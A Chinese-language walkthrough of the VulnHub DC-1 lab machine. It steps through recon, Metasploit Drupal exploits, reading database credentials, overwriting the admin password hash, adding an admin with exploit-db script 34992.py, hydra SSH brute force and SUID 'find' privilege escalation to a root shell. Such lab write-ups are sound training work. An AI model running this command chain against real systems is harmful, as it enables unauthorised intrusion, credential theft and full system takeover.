一、靶机详情

DC-1 是 VulnHub 平台上面向渗透测试初学者的经典靶机,核心围绕 Drupal 7 漏洞利用与 Linux 本地提权,目标是获取 root 权限并收集全部 5 个 flag,非常适合巩固 Web 渗透与基础提权流程。

  • 靶机下载地址:https://download.vulnhub.com/dc/DC-1.zip

配置介绍

  • 靶机:192.168.1.133
  • kali:192.168.1.134

二、信息收集

1.获取目标 ip

arp-scan -l

nmap -sn 192.168.1.0/24 

2.扫描目标信息

(1)nmap -p- 192.168.1.133

通过对目标分析,发现 80 端口开放。

(2)查看 wappalyzer

(3)目录扫描

dirsearch -u 192.168.1.133

三、搜寻漏洞及利用

1.msf 搜寻漏洞

根据信息收集发现使用的是 Drupal 内容管理系统。使用 msf 查看是否有该框架的漏洞信息。发现 1 和16都可以使用。

(1)use 1

  • use 1 使用第一个
  • show options 查看需要配置的参数

由以下图可知,需要配置目标 ip 和端口,使用 set 进行配置

(2)use 16

  • use 16
  • set rhosts 192.168.1.133
  • run

如果进入 meterpreter,则表示漏洞利用成功。

2.进入普通 shell

先输入 shell,进入 shell,不过这里是一个伪shell,是不会回显信息的,所以我们来执行下面这个语句进入 shell。

python -c 'import pty; pty.spawn("/bin/bash")'

3.进行普通 shell 收集信息

(1)找到 flag1

找到第一个 flag

(2)找到 flag2

根据提示:每一个好的CMS都需要一个配置文件,寻找配置文件 setting.php,打开 setting.php 发现 flag2 并发现数据库账号和密码。

find / -name settings.php

根据数据库账号和密码尝试登录数据库,对数据库进行信息收集。

● show databases;          //查看数据
● use drupaldb;            //进入数据库
● show tables;             //查看该数据库中的所有表
● select * from users;     //查看用户信息
● exit;                    //退出

(3)得到admin用户加密后的密码

4.登录到 admin 用户

在数据库中发现 web 端 admin 用户及密码,但是密码被加密。

(1)修改 admin 密码

在/var/www/scripts 下发现数据库中密码加密的脚本 password-hash.sh。

此脚本为 php 格式,用 php 执行该脚本,重新获取自定义的 admin 用户新密码,然后更新数据库,修改 admin 管理员的密码。

php password-hash.sh admin //生成新密码

将 admin 的 hash 后的密文(密码)替换数据库中 admin 的密码,即可用此密码进行登录。

UPDATE drupaldb.users SET pass = '$S$DYEZyg0O9hNmr8hdcTULtMRyUHJyuh9svXBc9f9sMePDMSEfqb32' WHERE name = 'admin';

用账号 admin,密码 admin 登录 web 页面。

(2)添加新管理员用户

在之前信息收集的时候我们发现 Drupal 的版本为 7,利用 msfconsole 的漏洞查找工具 searchsploit 来查找关于 drupal的SQL注入漏洞。

searchsploit drupal

我们通过 34992.py 这个 exp 来添加管理员用户。

首先找到34992.py 脚本的位置并将该脚本复制到 test 文件夹下。

sudo find / -name 34992.py
cp /usr/share/exploitdb/exploits/php/webapps/34992.py /home/kali/Desktop/test

运行 34992.py 脚本得知需要三个参数,目标 url 地址,账号和密码。

python 34992.py

添加三个参数重新运行 34992.py 脚本。

用新添加的管理员用户 aaa,密码为 aaa 登录 web 端。

(3)找到 flag3

进入后台搜索发现 flag3.

四、提权

1.找到 flag4

使用 cat /etc/passwd 查看,发现有 flag4 用户

根据 flag3 提示使用 shadow 查看 flag4 账号密码

cat /etc/shadow

发现没 shadow 权限,使用 hydra 进行爆破

hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.1.133

得到密码为 orange,使用 ssh 进行登录,找到 flag4

ssh flag4@192.168.1.133

2.使用 find 提权

根据 flag4 的提示需要获取 root 权限权,得到最后的 flag。

查找设置了 suid 权限的文件。

find / -perm -u=s -type f 2>/dev/null

find 命令用来在系统中查找文件。同时,它也有执行命令的能力。如果 find 配置为使用 SUID 权限运行,则可以通过 find 执行的命令都将以 root 身份去运行。

ls -l $(which find)          #查看find命令的权限
find /etc/passwd -exec whoami \;  # 查看当前命令的用户
find /etc/passwd -exec "/bin/sh" \;  #获取一个shell

3. 找到 thefinalflag

五、总结

1.SUID 提权

SUID(Set User ID)提权是 Linux/Unix 系统中一种利用特殊权限可执行文件,实现普通用户临时获得文件所有者权限的提权方式 。

(1)权限原理

  • 普通可执行文件:用户执行程序时,程序的权限 = 当前用户的权限。
  • SUID 权限可执行文件:用户执行程序时,程序的权限 = 文件所有者的权限(而非当前用户权限)。

(2)查找设置了 SUID 权限的文件

find / -perm -u=s -type f 2>/dev/null
  • find:是 Linux 系统下用于查找文件和目录的命令 ,可根据文件名、文件类型、文件权限等多种条件在指定路径下进行搜索。
  • /:表示查找的起始路径为根目录,即从整个系统磁盘的根位置开始搜索。
  • -perm -u=s:
    • -perm:是按文件权限查找的选项 。
    • -u=s :这里 u 代表文件所有者(user ),s 代表设置了 SUID(Set - User - ID )权限 。-u=s 表示查找设置了 SUID 权限的文件,拥有 SUID 权限的文件在执行时,会以文件所有者的权限来运行,而非执行用户本身权限。
  • -type f :-type 用于指定查找文件的类型,f 表示只查找普通文件,不包括目录、设备文件等其他类型文件 。
  • 2>/dev/null:
    • 2:代表标准错误输出(stderr )的文件描述符 。
    • >:是输出重定向符号 。
    • /dev/null :是一个特殊文件,被称为 “黑洞” 设备,所有写入它的数据都会被丢弃。2>/dev/null 意思是将命令执行过程中产生的错误信息重定向到 /dev/null ,即不显示错误输出 。

(3)find 的 suid 权限使用

find :用来在系统中查找文件。同时,它也有执行命令的能力。如果 find 配置为使用 SUID 权限运行,则可以通过 find 执行的命令都将以 root 身份去运行

Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐